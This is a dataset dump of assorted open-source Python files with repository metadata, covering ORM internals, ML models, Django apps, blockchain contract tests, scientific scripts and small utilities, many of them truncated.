] | 3 | 2021-09-08T01:55:54.000Z | 2022-03-12T00:25:39.000Z | env/lib/python3.6/site-packages/sqlalchemy/orm/attributes.py | amogh-gulati/corona_dashboard | ce1a20ad56bdfb758d41513b4706fe3a47764c32 | [
"MIT"
] | 1 | 2020-07-23T04:04:15.000Z | 2020-07-23T04:04:15.000Z | # orm/attributes.py
# Copyright (C) 2005-2020 the SQLAlchemy authors and contributors
# <see AUTHORS file>
#
# This module is part of SQLAlchemy and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php
"""Defines instrumentation for class attributes and their interaction
with instanc... | 33.04878 | 79 | 0.595779 |
import operator
from . import collections
from . import exc as orm_exc
from . import interfaces
from .base import ATTR_EMPTY
from .base import ATTR_WAS_SET
from .base import CALLABLES_OK
from .base import INIT_OK
from .base import instance_dict
from .base import instance_state
from .base import instance_str
fr... | true | true |
f741702b1e717da0b0f37a5a4b1d846a225dad5d | 4,926 | py | Python | symphony/cli/pyinventory/api/location_type.py | omnicate/magma | e1e6c244f9e8bd000587a3dad3c54f4e64ada222 | [
"BSD-3-Clause"
] | null | null | null | symphony/cli/pyinventory/api/location_type.py | omnicate/magma | e1e6c244f9e8bd000587a3dad3c54f4e64ada222 | [
"BSD-3-Clause"
] | null | null | null | symphony/cli/pyinventory/api/location_type.py | omnicate/magma | e1e6c244f9e8bd000587a3dad3c54f4e64ada222 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2004-present Facebook All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.
from typing import List
from pysymphony import SymphonyClient
from .._utils import format_property_definitions
from ..common.cache im... | 32.84 | 113 | 0.648193 |
from typing import List
from pysymphony import SymphonyClient
from .._utils import format_property_definitions
from ..common.cache import LOCATION_TYPES
from ..common.data_class import Location, LocationType, PropertyDefinition
from ..common.data_enum import Entity
from ..exceptions import EntityNotFoundError
fr... | true | true |
f74170882f11bb8f849eb8430d971813a3ca707d | 11,926 | py | Python | onn/onn.py | ZERO2ER0/OpticalNN | 56e34a02d9855951fc3a28d0bfddcdbad85a0c90 | [
"BSD-3-Clause"
] | 8 | 2019-03-18T07:32:05.000Z | 2021-11-12T02:13:35.000Z | onn/onn.py | ZERO2ER0/OpticalNN | 56e34a02d9855951fc3a28d0bfddcdbad85a0c90 | [
"BSD-3-Clause"
] | null | null | null | onn/onn.py | ZERO2ER0/OpticalNN | 56e34a02d9855951fc3a28d0bfddcdbad85a0c90 | [
"BSD-3-Clause"
] | 3 | 2019-12-10T15:42:38.000Z | 2020-07-02T15:12:48.000Z | """
replace first layer of AlexNet with optical setup
Adapted other layers of AlexNet code from AlexNet.py, code written by Frederik Kratzert at
https://kratzert.github.io/2017/02/24/finetuning-alexnet-with-tensorflow.html
"""
import tensorflow as tf
import numpy as np
Iterator = tf.data.Iterator
# xx, yy, Lambda, k_... | 36.582822 | 98 | 0.633406 | import tensorflow as tf
import numpy as np
Iterator = tf.data.Iterator
xx = np.load('xx.npy')
yy = np.load('yy.npy')
Lambda = np.load('Lambda.npy')
k_z_values = np.load('k_z_values.npy')
x_tensor = tf.constant(xx, tf.float32)
y_tensor = tf.constant(yy, tf.float32)
Lambda_tensor = tf.constant(Lambda, tf.float32)
k_z ... | true | true |
f74170de1c882da0fdb755e198f56600af8415b5 | 5,641 | py | Python | tools/tasker.py | Krissmedt/imprunko | 94171d0d47171cc4b199cd52f5f29385cbff903e | [
"MIT"
] | 5 | 2018-10-26T07:08:16.000Z | 2019-05-10T06:47:37.000Z | tools/tasker.py | Krissmedt/imprunko | 94171d0d47171cc4b199cd52f5f29385cbff903e | [
"MIT"
] | 9 | 2018-11-09T08:50:48.000Z | 2019-06-06T20:11:12.000Z | tools/tasker.py | Krissmedt/imprunko | 94171d0d47171cc4b199cd52f5f29385cbff903e | [
"MIT"
] | null | null | null | #from mpi4py.futures import MPIPoolExecutor
from mpi4py import MPI
import argparse
from parser import parse_input
from merge_nodes import merge_field_nodes
from merge_nodes import merge_analysis_nodes
# based on https://github.com/jbornschein/mpi4py-examples/blob/master/09-task-pull.py
#x0, x1, w = -2.0, +2.0, ... | 24.314655 | 93 | 0.549548 |
from mpi4py import MPI
import argparse
from parser import parse_input
from merge_nodes import merge_field_nodes
from merge_nodes import merge_analysis_nodes
def enum(*sequential, **named):
enums = dict(zip(sequential, range(len(sequential))), **named)
return type('Enum', (), en... | true | true |
f741719ac0da59b76e9f07b3945dcc922c711b19 | 5,360 | py | Python | gluon/gluoncv2/models/fdmobilenet.py | naviocean/imgclsmob | f2993d3ce73a2f7ddba05da3891defb08547d504 | [
"MIT"
] | 2,649 | 2018-08-03T14:18:00.000Z | 2022-03-31T08:08:17.000Z | gluon/gluoncv2/models/fdmobilenet.py | naviocean/imgclsmob | f2993d3ce73a2f7ddba05da3891defb08547d504 | [
"MIT"
] | 95 | 2018-08-13T01:46:03.000Z | 2022-03-13T08:38:14.000Z | gluon/gluoncv2/models/fdmobilenet.py | naviocean/imgclsmob | f2993d3ce73a2f7ddba05da3891defb08547d504 | [
"MIT"
] | 549 | 2018-08-06T08:09:22.000Z | 2022-03-31T08:08:21.000Z | """
FD-MobileNet for ImageNet-1K, implemented in Gluon.
Original paper: 'FD-MobileNet: Improved MobileNet with A Fast Downsampling Strategy,'
https://arxiv.org/abs/1802.03750.
"""
__all__ = ['fdmobilenet_w1', 'fdmobilenet_w3d4', 'fdmobilenet_wd2', 'fdmobilenet_wd4', 'get_fdmobilenet']
import os
from mxnet... | 31.904762 | 115 | 0.6375 |
__all__ = ['fdmobilenet_w1', 'fdmobilenet_w3d4', 'fdmobilenet_wd2', 'fdmobilenet_wd4', 'get_fdmobilenet']
import os
from mxnet import cpu
from .mobilenet import MobileNet
def get_fdmobilenet(width_scale,
model_name=None,
pretrained=False,
ctx=cpu(),
... | true | true |
f74171c6954a7a84c25c1c2d795b1c1bced4b961 | 1,595 | py | Python | pandora/parameters.py | mikekestemont/openbox | 07ccd28627b980877124da8d2ec53a2d1b667fd9 | [
"MIT"
] | null | null | null | pandora/parameters.py | mikekestemont/openbox | 07ccd28627b980877124da8d2ec53a2d1b667fd9 | [
"MIT"
] | null | null | null | pandora/parameters.py | mikekestemont/openbox | 07ccd28627b980877124da8d2ec53a2d1b667fd9 | [
"MIT"
] | null | null | null | #!usr/bin/env python
# -*- coding: utf-8 -*-
DEFAULT = 'default_settings.json'
import os
import json
class Settings(dict):
def __init__(self, config_path=None):
super(Settings, self).__init__()
try:
with open(config_path, 'r') as f:
params = json.load(f)
exce... | 24.538462 | 63 | 0.566144 |
DEFAULT = 'default_settings.json'
import os
import json
class Settings(dict):
def __init__(self, config_path=None):
super(Settings, self).__init__()
try:
with open(config_path, 'r') as f:
params = json.load(f)
except:
m = f'Could not read config... | true | true |
f74171fd151901903a59a4a90774e4c5273a5e58 | 2,099 | py | Python | cosmos_all.py | deapplegate/wtgpipeline | 9693e8562022cc97bf5a96427e22965e1a5e8497 | [
"MIT"
] | 1 | 2019-03-15T04:01:19.000Z | 2019-03-15T04:01:19.000Z | cosmos_all.py | deapplegate/wtgpipeline | 9693e8562022cc97bf5a96427e22965e1a5e8497 | [
"MIT"
] | 5 | 2017-12-11T00:11:39.000Z | 2021-07-09T17:05:16.000Z | cosmos_all.py | deapplegate/wtgpipeline | 9693e8562022cc97bf5a96427e22965e1a5e8497 | [
"MIT"
] | 2 | 2017-08-15T21:19:11.000Z | 2017-10-12T00:36:35.000Z | if 0:
import astropy.io.fits as pyfits, os
#catalog = '/u/ki/dapple/nfs12/cosmos/cosmos30.slr.matched.cat'
catalog = '/u/ki/dapple/nfs12/cosmos/cosmos30.slr.cat'
p = pyfits.open(catalog)['OBJECTS']
print p.columns
#print p.data.field('z_spec')[4000:5000]
filters = ['MEGAPRIME-0-1-u','S... | 38.87037 | 240 | 0.574559 | if 0:
import astropy.io.fits as pyfits, os
catalog = '/u/ki/dapple/nfs12/cosmos/cosmos30.slr.cat'
p = pyfits.open(catalog)['OBJECTS']
print p.columns
filters = ['MEGAPRIME-0-1-u','SUBARU-10_2-1-W-J-B','SUBARU-10_2-1-W-J-V','SUBARU-10_2-1-W-S-G+','SUBARU-10_2-1-W-S-R+','SUBARU-10_2-1-... | false | true |
f74172326c61e9da7bf4d1150a393bf466291f77 | 226 | py | Python | ex003.py | AleLucasG/Estudos-Python-I | 4144033bb77b06dd1c9c56a36d5bb152295a6be6 | [
"MIT"
] | null | null | null | ex003.py | AleLucasG/Estudos-Python-I | 4144033bb77b06dd1c9c56a36d5bb152295a6be6 | [
"MIT"
] | null | null | null | ex003.py | AleLucasG/Estudos-Python-I | 4144033bb77b06dd1c9c56a36d5bb152295a6be6 | [
"MIT"
] | null | null | null | """crie um programa que leia dois números e mostre a soma entre eles"""
n1 = int(input('Digite um valor: '))
n2 = int(input('Digite outro valor: '))
soma = n1 + n2
print('A soma entre {} e {} é de: {}' .format(n1, n2, soma))
| 32.285714 | 71 | 0.632743 |
n1 = int(input('Digite um valor: '))
n2 = int(input('Digite outro valor: '))
soma = n1 + n2
print('A soma entre {} e {} é de: {}' .format(n1, n2, soma))
| true | true |
f74173fdd78743f3ac90626059b20277e4fcf9cd | 104 | py | Python | leadmanager/frontend/views.py | YkBastidas/djangoReact-BasicRestAPI | adf828ac9091db7ea63cd64f53f01d2df2450321 | [
"MIT"
] | null | null | null | leadmanager/frontend/views.py | YkBastidas/djangoReact-BasicRestAPI | adf828ac9091db7ea63cd64f53f01d2df2450321 | [
"MIT"
] | 6 | 2020-06-05T20:44:44.000Z | 2021-09-22T18:37:56.000Z | secretweb/frontend/views.py | tobyych/frisk | f8ca3697bbac17b5f8be4b8584447c6ae072c3ef | [
"MIT"
] | null | null | null | from django.shortcuts import render
def index(request):
return render(request, 'frontend/index.html') | 26 | 47 | 0.788462 | from django.shortcuts import render
def index(request):
return render(request, 'frontend/index.html') | true | true |
f741743cd23cd9388b1fc37e6136704f1c729b77 | 1,235 | py | Python | st2common/st2common/metrics/utils.py | kkkanil/st2 | 07cd195d7a6e177a37dd019e5c9ab8329259d0fa | [
"Apache-2.0"
] | null | null | null | st2common/st2common/metrics/utils.py | kkkanil/st2 | 07cd195d7a6e177a37dd019e5c9ab8329259d0fa | [
"Apache-2.0"
] | 15 | 2021-02-11T22:58:54.000Z | 2021-08-06T18:03:47.000Z | st2common/st2common/metrics/utils.py | kkkanil/st2 | 07cd195d7a6e177a37dd019e5c9ab8329259d0fa | [
"Apache-2.0"
] | 1 | 2021-07-10T15:02:29.000Z | 2021-07-10T15:02:29.000Z | # Copyright 2020 The StackStorm Authors.
# Copyright 2019 Extreme Networks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 26.847826 | 99 | 0.706883 |
import six
from oslo_config import cfg
__all__ = [
'get_full_key_name',
'check_key'
]
def get_full_key_name(key):
parts = ['st2']
if cfg.CONF.metrics.prefix:
parts.append(cfg.CONF.metrics.prefix)
parts.append(key)
return '.'.join(parts)
def check_key(key):
asse... | true | true |
f74174677c65fc55878936c6a9880cd1ffcd5a51 | 2,210 | py | Python | enrich2/gui/create_seqlib_dialog.py | FowlerLab/Enrich2 | 9c9b9a7498e6adeb1ca09fc58b956d30c660f94c | [
"BSD-3-Clause"
] | 28 | 2016-09-25T21:23:22.000Z | 2022-02-14T17:38:51.000Z | enrich2/gui/create_seqlib_dialog.py | FowlerLab/Enrich2 | 9c9b9a7498e6adeb1ca09fc58b956d30c660f94c | [
"BSD-3-Clause"
] | 51 | 2016-11-20T02:37:45.000Z | 2022-03-22T17:39:18.000Z | enrich2/gui/create_seqlib_dialog.py | FowlerLab/Enrich2 | 9c9b9a7498e6adeb1ca09fc58b956d30c660f94c | [
"BSD-3-Clause"
] | 10 | 2016-11-19T01:26:31.000Z | 2021-08-16T17:41:28.000Z | from __future__ import print_function
import Tkinter as tk
import ttk
import tkSimpleDialog
from collections import OrderedDict
from ..barcode import BarcodeSeqLib
from ..barcodevariant import BcvSeqLib
from ..barcodeid import BcidSeqLib
from ..basic import BasicSeqLib
from ..idonly import IdOnlySeqLib
from ..overlap i... | 27.974684 | 82 | 0.618552 | from __future__ import print_function
import Tkinter as tk
import ttk
import tkSimpleDialog
from collections import OrderedDict
from ..barcode import BarcodeSeqLib
from ..barcodevariant import BcvSeqLib
from ..barcodeid import BcidSeqLib
from ..basic import BasicSeqLib
from ..idonly import IdOnlySeqLib
from ..overlap i... | true | true |
f741753948b040c1100fddf307f12eaae7254d8f | 8,197 | py | Python | test/test_contracts.py | Eternity-labs/py-substrate-interface | c6247d1c33a97acecb339a079b55b9a009cc1f8e | [
"Apache-2.0"
] | null | null | null | test/test_contracts.py | Eternity-labs/py-substrate-interface | c6247d1c33a97acecb339a079b55b9a009cc1f8e | [
"Apache-2.0"
] | null | null | null | test/test_contracts.py | Eternity-labs/py-substrate-interface | c6247d1c33a97acecb339a079b55b9a009cc1f8e | [
"Apache-2.0"
] | null | null | null | # Python Substrate Interface Library
#
# Copyright 2018-2020 Stichting Polkascan (Polkascan Foundation).
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LIC... | 40.985 | 121 | 0.704282 |
import os
import unittest
from scalecodec import ScaleBytes
from substrateinterface import SubstrateInterface, ContractMetadata, ContractInstance, Keypair
from substrateinterface.contracts import ContractEvent
from substrateinterface.exceptions import ContractMetadataParseException
from substrateinterf... | true | true |
f7417603f441a958ef8fb441a3eb7b2913a70d96 | 48,590 | py | Python | pytorch_translate/rnn.py | haowei01/translate | e413a981667f1038ea9ab01bd9c6d0c013b03b0c | [
"BSD-3-Clause"
] | null | null | null | pytorch_translate/rnn.py | haowei01/translate | e413a981667f1038ea9ab01bd9c6d0c013b03b0c | [
"BSD-3-Clause"
] | null | null | null | pytorch_translate/rnn.py | haowei01/translate | e413a981667f1038ea9ab01bd9c6d0c013b03b0c | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.onnx.operators
from fairseq import utils
from fairseq.models import (
FairseqEncoder,
FairseqModel,
register_model,
register_model_architecture,
)
from pytorch_translate import rnn_... | 38.050117 | 88 | 0.596851 |
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.onnx.operators
from fairseq import utils
from fairseq.models import (
FairseqEncoder,
FairseqModel,
register_model,
register_model_architecture,
)
from pytorch_translate import rnn_cell
from pytorch_tr... | true | true |
f7417635e0c7731f23b214b606f32c54dfd75a7d | 1,096 | py | Python | Leet-Code/Smallest-Integer-Divisible-by-K.py | aminzayer/My-Python-Code | 475e99a134f11e5784478c1d68bce7033ffe02a2 | [
"MIT"
] | 2 | 2022-02-16T22:24:14.000Z | 2022-02-24T16:59:42.000Z | Leet-Code/Smallest-Integer-Divisible-by-K.py | aminzayer/My-Python-Code | 475e99a134f11e5784478c1d68bce7033ffe02a2 | [
"MIT"
] | null | null | null | Leet-Code/Smallest-Integer-Divisible-by-K.py | aminzayer/My-Python-Code | 475e99a134f11e5784478c1d68bce7033ffe02a2 | [
"MIT"
] | null | null | null | """ Given a positive integer k, you need to find the length of the smallest positive integer n such that n is divisible by k, and n only contains the digit 1.
Return the length of n. If there is no such n, return -1.
Note: n may not fit in a 64-bit signed integer.
Example 1:
Input: k = 1
Output: 1
Explanation: The... | 21.076923 | 158 | 0.622263 |
class Solution:
def smallestRepunitDivByK(self, k: int) -> int:
if(k % 2 == 0 or k % 5 == 0):
return -1
number = 0
len = 1
for len in range(1, k + 1):
number = (number * 10 + 1) % k
if number == 0:
return len
r... | true | true |
f74176df95f9b2a3167eadedf732436f9fc2acbf | 10,833 | py | Python | ukis_pysat/file.py | albernsrya/ukis-pysat | 9161d8c92ca6354c8ce233499f31962439325bd2 | [
"Apache-2.0"
] | 1 | 2021-07-03T14:05:22.000Z | 2021-07-03T14:05:22.000Z | ukis_pysat/file.py | albernsrya/ukis-pysat | 9161d8c92ca6354c8ce233499f31962439325bd2 | [
"Apache-2.0"
] | null | null | null | ukis_pysat/file.py | albernsrya/ukis-pysat | 9161d8c92ca6354c8ce233499f31962439325bd2 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
import contextlib
import os
import tempfile
import xml.etree.ElementTree as ET
import zipfile
from datetime import datetime, timezone
from pathlib import Path
from re import compile
from typing import List, Union, Dict, Iterator, Tuple, Any, Pattern
def env_get(key: str, boolean: bool = False)... | 41.826255 | 130 | 0.668882 |
import contextlib
import os
import tempfile
import xml.etree.ElementTree as ET
import zipfile
from datetime import datetime, timezone
from pathlib import Path
from re import compile
from typing import List, Union, Dict, Iterator, Tuple, Any, Pattern
def env_get(key: str, boolean: bool = False) -> Union[str, bool]:
... | true | true |
f74179300cbce095b6433e22c771375c6749e67b | 2,076 | py | Python | pyremo/core/exp.py | remo-rcm/pyremo2 | 59bd18d411944205db93c062439172f91ba99f83 | [
"MIT"
] | null | null | null | pyremo/core/exp.py | remo-rcm/pyremo2 | 59bd18d411944205db93c062439172f91ba99f83 | [
"MIT"
] | 2 | 2020-10-05T07:27:31.000Z | 2020-12-10T22:59:54.000Z | pyremo/core/exp.py | remo-rcm/pyremo2 | 59bd18d411944205db93c062439172f91ba99f83 | [
"MIT"
] | null | null | null | """Module for working and parsing Remo output files.
"""
import os
from pathlib import Path
import pandas as pd
import parse
from tqdm import tqdm
file_pattern = "e{usr_nr:3d}{exp_nr:3d}{type:1}{date}"
efile_pattern = "e{usr_nr:3d}{exp_nr:3d}{type:1}_c{code:3d}_{date}"
date_patterns = ["%Y", "%Y%m", "%Y%m%d", "%Y%m%... | 27.315789 | 76 | 0.606455 | import os
from pathlib import Path
import pandas as pd
import parse
from tqdm import tqdm
file_pattern = "e{usr_nr:3d}{exp_nr:3d}{type:1}{date}"
efile_pattern = "e{usr_nr:3d}{exp_nr:3d}{type:1}_c{code:3d}_{date}"
date_patterns = ["%Y", "%Y%m", "%Y%m%d", "%Y%m%d", "%Y%m%d%H", "%Y%m%d%H%M"]
patterns = [efile_pattern,... | true | true |
f7417a3ac6f738c4efcf08ae4ff0bd59e22aaf89 | 10,412 | py | Python | safe_transaction_service/history/tests/test_transaction_service.py | fmrsabino/safe-transaction-service | bafc7a7f76c282295efa8de19958185ef7773622 | [
"MIT"
] | null | null | null | safe_transaction_service/history/tests/test_transaction_service.py | fmrsabino/safe-transaction-service | bafc7a7f76c282295efa8de19958185ef7773622 | [
"MIT"
] | null | null | null | safe_transaction_service/history/tests/test_transaction_service.py | fmrsabino/safe-transaction-service | bafc7a7f76c282295efa8de19958185ef7773622 | [
"MIT"
] | null | null | null | from datetime import timedelta
from django.test import TestCase
from django.utils import timezone
from eth_account import Account
from ..models import EthereumTx, ModuleTransaction, MultisigTransaction
from ..services.transaction_service import (TransactionService,
Transac... | 58.167598 | 123 | 0.714944 | from datetime import timedelta
from django.test import TestCase
from django.utils import timezone
from eth_account import Account
from ..models import EthereumTx, ModuleTransaction, MultisigTransaction
from ..services.transaction_service import (TransactionService,
Transac... | true | true |
f7417ceec713b8a797fd1f0a976b86dba2255ef5 | 3,752 | py | Python | django-openstack/django_openstack/auth/views.py | ajeygore/openstack-dashboard | cf310588aed0ee5f95813b64eefaf5ff3ebb078b | [
"Apache-2.0"
] | 2 | 2015-05-18T13:50:27.000Z | 2015-05-18T14:47:13.000Z | django-openstack/django_openstack/auth/views.py | tylesmit/openstack-dashboard | 8199011a98aa8bc5672e977db014f61eccc4668c | [
"Apache-2.0"
] | null | null | null | django-openstack/django_openstack/auth/views.py | tylesmit/openstack-dashboard | 8199011a98aa8bc5672e977db014f61eccc4668c | [
"Apache-2.0"
] | null | null | null | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Copyright 2011 Fourth Paradigm Development, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "Licen... | 35.733333 | 85 | 0.646055 |
import logging
from django import template
from django import shortcuts
from django.contrib import messages
from django_openstack import api
from django_openstack import forms
from openstackx.api import exceptions as api_exceptions
LOG = logging.getLogger('django_openstack.auth')
class Login(f... | true | true |
f7417d91583c49f1564373a59768683ba50edfec | 1,687 | py | Python | config/wsgi.py | seankim84/twitter | 71cbcd821effc4e77588b195d770ef003887d322 | [
"MIT"
] | null | null | null | config/wsgi.py | seankim84/twitter | 71cbcd821effc4e77588b195d770ef003887d322 | [
"MIT"
] | null | null | null | config/wsgi.py | seankim84/twitter | 71cbcd821effc4e77588b195d770ef003887d322 | [
"MIT"
] | null | null | null | """
WSGI config for twitter project.
This module contains the WSGI application used by Django's development server
and any production WSGI deployments. It should expose a module-level variable
named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover
this application via the ``WSGI_APPLICATION`` ... | 39.232558 | 79 | 0.795495 | import os
import sys
from django.core.wsgi import get_wsgi_application
app_path = os.path.abspath(os.path.join(
os.path.dirname(os.path.abspath(__file__)), os.pardir))
sys.path.append(os.path.join(app_path, 'twitter'))
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "config.settings.production")
# set... | true | true |
f7417edd0f9efed7bd9d3092959629162e01737a | 587 | py | Python | oops_fhir/r4/value_set/v3_observation_type.py | Mikuana/oops_fhir | 77963315d123756b7d21ae881f433778096a1d25 | [
"MIT"
] | null | null | null | oops_fhir/r4/value_set/v3_observation_type.py | Mikuana/oops_fhir | 77963315d123756b7d21ae881f433778096a1d25 | [
"MIT"
] | null | null | null | oops_fhir/r4/value_set/v3_observation_type.py | Mikuana/oops_fhir | 77963315d123756b7d21ae881f433778096a1d25 | [
"MIT"
] | null | null | null | from pathlib import Path
from fhir.resources.valueset import ValueSet as _ValueSet
from oops_fhir.utils import ValueSet
from oops_fhir.r4.code_system.v3_act_code import v3ActCode
__all__ = ["v3ObservationType"]
_resource = _ValueSet.parse_file(Path(__file__).with_suffix(".json"))
class v3ObservationType(v3ActC... | 20.241379 | 69 | 0.747871 | from pathlib import Path
from fhir.resources.valueset import ValueSet as _ValueSet
from oops_fhir.utils import ValueSet
from oops_fhir.r4.code_system.v3_act_code import v3ActCode
__all__ = ["v3ObservationType"]
_resource = _ValueSet.parse_file(Path(__file__).with_suffix(".json"))
class v3ObservationType(v3ActC... | true | true |
f7418029a9596ca5b6ace80139ba2fdd4ed7b98b | 651 | py | Python | migrations/versions/98f414e72943_.py | ansu5555/mt-backend | b54089e5efaa62e94d12888834ca9bbc48eec149 | [
"MIT"
] | 1 | 2019-03-27T19:20:59.000Z | 2019-03-27T19:20:59.000Z | migrations/versions/98f414e72943_.py | ansu5555/mt-backend | b54089e5efaa62e94d12888834ca9bbc48eec149 | [
"MIT"
] | null | null | null | migrations/versions/98f414e72943_.py | ansu5555/mt-backend | b54089e5efaa62e94d12888834ca9bbc48eec149 | [
"MIT"
] | 1 | 2019-07-07T03:47:09.000Z | 2019-07-07T03:47:09.000Z | """empty message
Revision ID: 98f414e72943
Revises: 4f65c2238756
Create Date: 2019-04-30 23:46:07.283010
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '98f414e72943'
down_revision = '4f65c2238756'
branch_labels = None
depends_on = None
def upgrade():
# ... | 22.448276 | 77 | 0.689708 | from alembic import op
import sqlalchemy as sa
revision = '98f414e72943'
down_revision = '4f65c2238756'
branch_labels = None
depends_on = None
def upgrade():
| true | true |
f741811734e4eb69a7fbc204add46c28e2162b03 | 757 | py | Python | Renovavel.py | equipesge/MDI_PDE_2030 | 9300a7f6aa933550b41bd06360ceace941e21af7 | [
"MIT"
] | 1 | 2022-03-25T17:21:40.000Z | 2022-03-25T17:21:40.000Z | Renovavel.py | equipesge/MDI_PDE_2030 | 9300a7f6aa933550b41bd06360ceace941e21af7 | [
"MIT"
] | null | null | null | Renovavel.py | equipesge/MDI_PDE_2030 | 9300a7f6aa933550b41bd06360ceace941e21af7 | [
"MIT"
] | 2 | 2021-07-20T19:27:12.000Z | 2022-03-25T17:53:25.000Z | from Usina import Usina;
from RecebeDados import RecebeDados;
class Renovavel (Usina):
def __init__(self, recebe_dados, abaRenov, offset, iRenov):
# define fonte_dados como o objeto da classe RecebeDados e o nome da aba com as usinas UHE
self.nomeAba = abaRenov;
self.... | 37.85 | 101 | 0.643329 | from Usina import Usina;
from RecebeDados import RecebeDados;
class Renovavel (Usina):
def __init__(self, recebe_dados, abaRenov, offset, iRenov):
self.nomeAba = abaRenov;
self.fonte_dados = recebe_dados;
self.indexUsinaInterno = iRenov;
... | true | true |
f741830513a6b6e3dad4b852dcc062c391edb2e2 | 18,153 | py | Python | pystruct/learners/n_slack_ssvm.py | LemonLison/pystruct | 5606e643d1a0a3701b93b848a2a02c49e83c4f1e | [
"BSD-2-Clause"
] | 4 | 2017-04-18T09:32:07.000Z | 2018-08-10T06:27:59.000Z | pystruct/learners/n_slack_ssvm.py | kingjr/pystruct | 23c6d8f6ab34a88b63386a595debbfdfa13345fe | [
"BSD-2-Clause"
] | 1 | 2018-10-02T14:36:34.000Z | 2018-10-02T14:36:34.000Z | pystruct/learners/n_slack_ssvm.py | kingjr/pystruct | 23c6d8f6ab34a88b63386a595debbfdfa13345fe | [
"BSD-2-Clause"
] | 1 | 2019-09-20T19:56:24.000Z | 2019-09-20T19:56:24.000Z | ######################
# (c) 2012 Andreas Mueller <amueller@ais.uni-bonn.de>
# License: BSD 3-clause
#
# Implements structured SVM as described in Tsochantaridis et. al.
# Support Vector Machines Learning for Interdependent
# and Structures Output Spaces
from time import time
import numpy as np
import cvxopt
import c... | 42.118329 | 104 | 0.570925 | unwrap_pairwise, find_constraint
class NSlackSSVM(BaseSSVM):
def __init__(self, model, max_iter=100, C=1.0, check_constraints=True,
verbose=0, negativity_constraint=None, n_jobs=1,
break_on_bad=False, show_loss_every=0, batch_size=100,
tol=1e-3, inactive_thresh... | true | true |
f741832281584f42536b01d706feac7af6edef4a | 1,421 | py | Python | ui/middleware.py | ove/ove-asset-manager | 34b20ba8b436a5fe5c1561e0c5d98f171a37193f | [
"MIT"
] | null | null | null | ui/middleware.py | ove/ove-asset-manager | 34b20ba8b436a5fe5c1561e0c5d98f171a37193f | [
"MIT"
] | 191 | 2019-03-01T14:00:57.000Z | 2021-06-06T23:01:57.000Z | ui/middleware.py | ove/ove-asset-manager | 34b20ba8b436a5fe5c1561e0c5d98f171a37193f | [
"MIT"
] | 1 | 2020-01-13T13:07:49.000Z | 2020-01-13T13:07:49.000Z | import logging
from typing import Set
import falcon
from common.consts import HTTP_WRITE_METHODS
from common.falcon_utils import auth_token
from common.util import is_public
from ui import BackendController
class ContentTypeValidator:
def process_resource(self, req: falcon.Request, _resp: falcon.Response, resou... | 37.394737 | 134 | 0.718508 | import logging
from typing import Set
import falcon
from common.consts import HTTP_WRITE_METHODS
from common.falcon_utils import auth_token
from common.util import is_public
from ui import BackendController
class ContentTypeValidator:
def process_resource(self, req: falcon.Request, _resp: falcon.Response, resou... | true | true |
f74184135f66918bffacb97913e42eb60ee19da0 | 983 | py | Python | api-site/core/admin.py | Basel-h-ashour/recipe-app-api | 266b41c5fe950cb0adf1292de328d44f59a09560 | [
"MIT"
] | null | null | null | api-site/core/admin.py | Basel-h-ashour/recipe-app-api | 266b41c5fe950cb0adf1292de328d44f59a09560 | [
"MIT"
] | null | null | null | api-site/core/admin.py | Basel-h-ashour/recipe-app-api | 266b41c5fe950cb0adf1292de328d44f59a09560 | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.utils.translation import gettext as _
from core import models
class UserAdmin(BaseUserAdmin):
ordering = ['id']
list_display = ['email', 'name']
fieldsets = (
(None, {'fields': ('email',... | 25.205128 | 64 | 0.526958 | from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.utils.translation import gettext as _
from core import models
class UserAdmin(BaseUserAdmin):
ordering = ['id']
list_display = ['email', 'name']
fieldsets = (
(None, {'fields': ('email',... | true | true |
f74184a99db0ef4c8a715360c6d769d1aa83ebc9 | 868 | py | Python | medical_prescription/user/views/sendmail.py | ristovao/2017.2-Receituario-Medico | 5387eb80dfb354e948abe64f7d8bbe087fc4f136 | [
"MIT"
] | 11 | 2017-09-19T00:29:40.000Z | 2018-04-05T23:52:39.000Z | medical_prescription/user/views/sendmail.py | ristovao/2017.2-Receituario-Medico | 5387eb80dfb354e948abe64f7d8bbe087fc4f136 | [
"MIT"
] | 271 | 2017-09-09T00:07:28.000Z | 2017-12-07T05:00:45.000Z | medical_prescription/user/views/sendmail.py | ristovao/2017.2-Receituario-Medico | 5387eb80dfb354e948abe64f7d8bbe087fc4f136 | [
"MIT"
] | 26 | 2017-08-31T20:48:49.000Z | 2018-03-21T15:11:27.000Z | # standard library
import threading
# django
from django.core.mail import send_mail
# local django
from user import constants
class SendMail(threading.Thread):
"""
Responsible to send email in background.
"""
def __init__(self, email, HealthProfessional, SendInvitationProfile):
self.email = ... | 31 | 90 | 0.692396 |
import threading
from django.core.mail import send_mail
from user import constants
class SendMail(threading.Thread):
def __init__(self, email, HealthProfessional, SendInvitationProfile):
self.email = email
self.HealthProfessional = HealthProfessional
self.SendInvitationProfile = SendI... | true | true |
f741852de67f56f5943cacf7b231c8ffecaf7bc2 | 2,404 | py | Python | mig_main/admin.py | atish3/mig-website | 1bcf4c0b93078cccab6b4a25c93c29a2b5efa4be | [
"Apache-2.0"
